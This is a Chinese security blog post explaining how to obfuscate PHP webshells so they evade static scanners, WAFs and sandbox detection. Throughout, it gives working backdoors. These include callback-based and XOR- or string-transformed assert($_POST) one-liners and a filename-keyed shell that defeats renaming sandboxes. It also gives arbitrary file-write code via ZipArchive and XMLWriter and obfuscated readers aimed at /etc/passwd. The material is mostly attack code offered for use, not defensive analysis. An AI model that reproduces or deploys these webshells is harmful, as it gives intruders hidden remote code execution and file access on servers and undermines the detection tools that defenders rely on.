HacKerQWQ的博客空间

Webshell免杀之php(WebShell免杀篇一)

Word count: 3.2kReading time: 14 min
2022/09/22 Share

学免杀首先要了解代码特性,将各种trick(webshell相关)作用都发挥到极致,从而绕过所有waf,当然仅限于静态分析,动态的话使用aes加密即可。

本文将围绕php是个解释型语言的前提进行探索

代码执行优先级

代码执行优先级简单来说就是执行代码的顺序

  • 经过测试php是从上到下从左到右进行解释执行

  • 优先执行括号内的内容,但是不会因为括号越多越先执行

1
2
3
4
<?php
if(md5(md5(phpinfo()))===md5(exit())){
echo 1;
}

因此这个例子的执行结果是phpinfo()

image-20220923003440788

而这个例子是exit()

1
2
3
4
<?php
if(md5(exit())===md5(md5(phpinfo()))){
echo 1;
}

image-20220923003527184

错误等级

php有四个常见Error,分别是Warning ErrorNotice ErrorParse ErrorFatal Error

warning error

warning error不会阻止脚本运行,只会警告问题

常出现原因:

  • 调用目录中不存在的外部文件
  • 函数中的错误函数
1
2
3
4
<?php
echo "Warning error"';
include ("external_file.php");
?>

image-20220923094143987

可以看到第一行成功执行,第二行报warning error错误

Notice Error

Notice Error的等级比warning error的等级小,系统不确定是实际错误还是常规代码,常见于访问未定义的变量

1
2
3
4
<?php
echo 1;
echo $a;
?>

image-20220923094456204

Parse Error

parse error会在解析语法出错时直接退出程序,已执行的代码不受影响。

常见于

  • eval函数缺失;闭合

观察以下两个执行结果的差异

image-20230130164326331

image-20230130164705273

根据结果可知,在eval函数中优先检查php语句是否使用;闭合,若未闭合则全部不予执行。

Fatal Error

Fatal Error常见于重复定义,会立即退出程序

常见于

  • a—-表示重复定义的函数名;
  • b—-第一次定义该函数时的文件名称及行号;
  • c—-第二次定义该函数时的文件名称;
  • d—-第二次定义该函数时的行号。

image-20230130165224419

error_reporting函数

常常在webshell中看到error_reporting函数,主要作用是设置报告错误的等级。用于Webshell时可以屏蔽无关的错误报告,降低被防火墙或者IPS设备拦截的风险。

1
2
3
4
//不报告NOTICE和WARNING错误
error_reporting(E_ALL^E_NOTICE^E_WARNING);
//不报告错误
error_reporting(0);

其他常见的错误常量见下

https://www.php.net/manual/zh/errorfunc.constants.php

代码执行函数

assert

assert会判断传入的assertion是否为false

适用版本: php5、php7.0.12以前

  • PHP 5 和 7

    1
    assert(mixed $assertion, string $description = ?): bool
  • PHP 7

    1
    assert(mixed $assertion, Throwable $exception = ?): bool

php5.6.9执行结果

image-20230130172328420

eval

eval — 把字符串作为PHP代码执行

1
eval(string $code): mixed

image-20230130172513167

assert和eval的区别

  1. PHP5中assert可以动态调用,PHP7中不可以,但是PHP7.0.12前实际上还是可以的

    1
    2
    3
    4
    5
    6
    7
    8
    //失败
    $a = "eval";
    $a("system('whoami');");
    //成功
    eval("system('whoami');");
    //成功
    $a = "assert";
    $a("system('whoami');");
  2. PHP5,不支持($a)()这种调用方式,但是PHP7中支持,如('phpinfo')()

    1
    ('assert')('system("whoami")');

    image-20230131093222803

    • 在测试过程中发现assert的位置只能使用字符串,函数、define、引用均失效,意味着只能拆分成字符串拼接的形式。参数的位置不受限制

回调函数

回调函数即使用某一个参数作为函数,其他参数作为其参数的函数,最经典的就是call_user_func函数

常见的有

1
2
3
4
5
6
7
8
9
call_user_func(最经典)
call_user_func_array
array_map
array_filter
usort/uasort
uksort
array_walk
array_walk_recursive
...

查找可用回调函数

目前常见的回调函数都(call_user_func等)被webshell查杀软件列入可疑名单,但是仍然有部分回调函数没有被找到,可通过以下方法快速查找。

PHP官网查阅函数手册,查找可以用作后门的PHP回调函数,根据实际经验,利用下面五个关键词,能提高查找到拥有后门潜质的PHP回调函数的效率:

关键词一:callable

关键词1

关键词二:mixed $options

关键词2

关键词三:handler

关键词3

关键词四:callback

关键词4

关键词五:invoke

关键词5

找到以下函数

1
array_uintersect_assoc/array_uintersect

array_uintersect_assoc — 带索引检查计算数组的交集,用回调函数比较数据

用法

1
array_uintersect_assoc(array $array, array ...$arrays, callable $value_compare_func): array

根据定义写一个一句话木马

1
2
<?php
array_uintersect(array($_POST['cmd']), array(1),'assert');

image-20230201102535555

同理还有

1
2
3
4
array_intersect_uassoc
array_intersect_ukey
array_udiff_assoc
array_udiff_uassoc

其他函数

更多代码执行函数见以下文章介绍

https://hackerqwq.github.io/2021/04/23/%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%B0%8F%E6%80%BB%E7%BB%93/

字符串变形

在webshell免杀过程中,对关键字字符串进行处理能绕过静态分析,但是对污点分析和行为分析的检测引擎效果就不太理想。

常见字符串变形函数

1
2
3
4
5
6
7
8
9
10
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

substr

substr — 返回字符串的子串

1
substr(string $string, int $offset, ?int $length = null): string

用法

1
2
//返回从第3个索引位置开始的一个字符
substr("777a",3,1)."ssert";

strtr

转换字符串中特定的字符

1
strtr(string,from,to)

用法

1
2
3
4
<?php 
$a = strtr('azxcvt','zxcv','sser');
$a($_POST['x']);
?>

trim

移除字符串两侧的空白字符或其他预定义字符。

1
trim(string,charlist)

用法

1
2
3
4
<?php 
$a = trim(' assert ');
$a($_POST['x']);
?>

substr_replace

把字符串 string 的一部分替换为另一个字符串 replacement。

1
substr_replace(string,replacement,start,length)

用法

1
2
3
4
<?php 
$a = substr_replace("asxxx","sert",2);
$a($_POST['x']);
?>

base64编码

base64已经烂大街了,WAF等安全设备也会自动解码,因此只作为基础编码跟其他的结合使用。

1
echo base64_encode('assert');

异或

1
2
3
4
<?php
$a= ("!"^"@").'ssert';
$a($_POST[x]);
?>

首先要知道的是两个字符串异或之后得到的还是一个字符串,所以我们可以用一些非字母数字的字符异或后变成我们想要的字符,但是说实话徒手找的话实在费劲,下面php代码生成列表

1
2
3
4
5
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>

得到下面列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?

然后用这些字符构成函数,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t

%A0^%FF=>_
%AF^%FF=>P
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T

$_=urldecode("%9E%8C%8C%9A%8D%8B")^urldecode("%FF%FF%FF%FF%FF%FF");
$__=urldecode("%A0%AF%B0%AC%AB")^urldecode("%FF%FF%FF%FF%FF");
$___=$$__;
$_($___[_]);
//assert($_POST[_])

uuencode

1
convert_uuencode("assert");

利用信息差绕过

当遇到动态沙箱检测时,会将脚本放置在沙箱中,记录脚本运行过程产生的行为特征。如果遇到污点跟踪,那么每个变量的值都会被跟踪记录,看起来无懈可击。

但是实际上我们可以利用信息差,比如注意到阿里云webshell检测会将文件以md5格式重命名,这样就不是我们实战上传的文件名。

image-20230201110153279

同样的还有webdir+

image-20230201110221272

文件名

那么我们就可以把assert的某些字符放入文件名,这里放一个LandGrey师傅的脚本

1
2
3
4
5
6
<?php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__,-5,-4) . "class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

脚本名必须是”***s.php”的名字形式,即最后一位字符要为”s”,然后用”sclass” 和 hex2bin(“12101f040107”)的值按位异或,得到”assert”,从而利用回调函数,执行PHP代码。

上传到WEBDIR+系统后,脚本被重命名,”试执行时自然无法复现木马行为“,从而绕过了检测。这种方式有一种明显的要求,就是我们能够准确预知或控制脚本名的最后一位字符。

其他信息差

在针对某个特别的目标测试时,可以利用目标的特殊信息构造信息的差异,实现Webshell绕过。

如目标IP地址的唯一性、域名、特殊Cookie、Session字段和值、$_SERVER变量中可被控制的值,甚至是主机Web服务的根目录、操作系统等一些差别,发挥空间很大。

写文件函数

有时可以寄希望于将webshell编码,再通过写文件函数将内容写到webshell,然后再还原回来,因此写文件函数也至关重要

常见写文件函数

1
2
file_put_contents(filename, data)
ZipArchive类

利用ZipArchive类读写文件

任意文件写入

利用ZipArchive类写入文件的思路:将写入的内容先写进压缩包中,再进行解压缩至任意目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$zip = new ZipArchive();
$tmp = filter_input_array(2-1);
$zipTmpPath = $tmp["tmpzip"];
if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$zipTmpPath>\n");
}
$zip->addFromString($tmp["filename"], $tmp["content"]);
$zip->close();

if($zip->open($zipTmpPath) !== TRUE){
exit("cannot open <$zipTmpPath>\n");
}
$flag = $zip->extractTo($tmp["filePath"]);
echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write";
$zip->close();
unlink($zipTmpPath);

利用方式(get请求):
?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmp
各个参数解释:确保tmpzip参数和filePath参数所表示的目录有写入权限

  1. tmpzip:临时创建的zip文件路径,需要将文件内容写入到zip文件
  2. filename:zip压缩包中的文件名,也是解压之后的文件名
  3. content:filename文件的内容
  4. filePath:压缩包解压到的路径

XMLWriter类

1
2
3
4
5
<?php
$tmp = filter_input_array(1);
$w = new XMLWriter();
$w->openUri($tmp["file"]);
$w->writeRaw($tmp["content"]);

利用方式:?file=/tmp/test&content=hello,也可以直接调用该类的方法

1
2
3
4
<?php
$tmp = filter_input_array(1);
$w = xmlwriter_open_uri($tmp["file"]);
xmlwriter_write_raw($w,$tmp["content"]);

利用iconv_mime_decode编码fopen+fread+filesize函数

1
2
3
4
5
6
7
8
<?php
$read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?=");
$open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?=");
$size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?=");
$file = $_GET["file"];
$fp = $open($file, "r");
$str = $read($fp, $size($file));
echo $str;

利用方式:?file=/etc/passwd

iconv_mime_encode可以将字符串编码为mime格式

1
2
3
4
5
6
7
<?php
$prefs = array ("scheme" => "B",
"input-charset" => "utf-8",
"output-charset" => "utf-8",
"line-break-chars" => "\n");
$enc = iconv_mime_encode('From', 'test', $prefs);
echo $enc.PHP_EOL;

image-20230131145747144

利用iconv_mime_decode_headers编码file函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?ZmlsZQ==?=
Received: from localhost (localhost [127.0.0.1]) by localhost
with SMTP id example for <example@example.com>;
Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
(envelope-from example-return-0000-example=example.com@example.com)
EOF;
$headers = iconv_mime_decode_headers($headers_string, 0, "");
$Subject = $headers["Subject"];
$file_arr = $Subject($_GET["file"]);
foreach($file_arr as $value){
echo $value."<br />";
}

利用方式:?file=/etc/passwd

参考链接

CATALOG
  1. 1. 代码执行优先级
  2. 2. 错误等级
    1. 2.1. warning error
    2. 2.2. Notice Error
    3. 2.3. Parse Error
    4. 2.4. Fatal Error
    5. 2.5. error_reporting函数
  3. 3. 代码执行函数
    1. 3.1. assert
    2. 3.2. eval
    3. 3.3. assert和eval的区别
    4. 3.4. 回调函数
      1. 3.4.1. 查找可用回调函数
        1. 3.4.1.1. 关键词一:callable
        2. 3.4.1.2. 关键词二:mixed $options
        3. 3.4.1.3. 关键词三:handler
        4. 3.4.1.4. 关键词四:callback
        5. 3.4.1.5. 关键词五:invoke
    5. 3.5. 其他函数
  4. 4. 字符串变形
    1. 4.1. substr
    2. 4.2. strtr
    3. 4.3. trim
    4. 4.4. substr_replace
    5. 4.5. base64编码
    6. 4.6. 异或
    7. 4.7. uuencode
  5. 5. 利用信息差绕过
    1. 5.1. 文件名
    2. 5.2. 其他信息差
  6. 6. 写文件函数
    1. 6.1. 利用ZipArchive类读写文件
      1. 6.1.1. 任意文件写入
    2. 6.2. XMLWriter类
    3. 6.3. 利用iconv_mime_decode编码fopen+fread+filesize函数
    4. 6.4. 利用iconv_mime_decode_headers编码file函数
  7. 7. 参考链接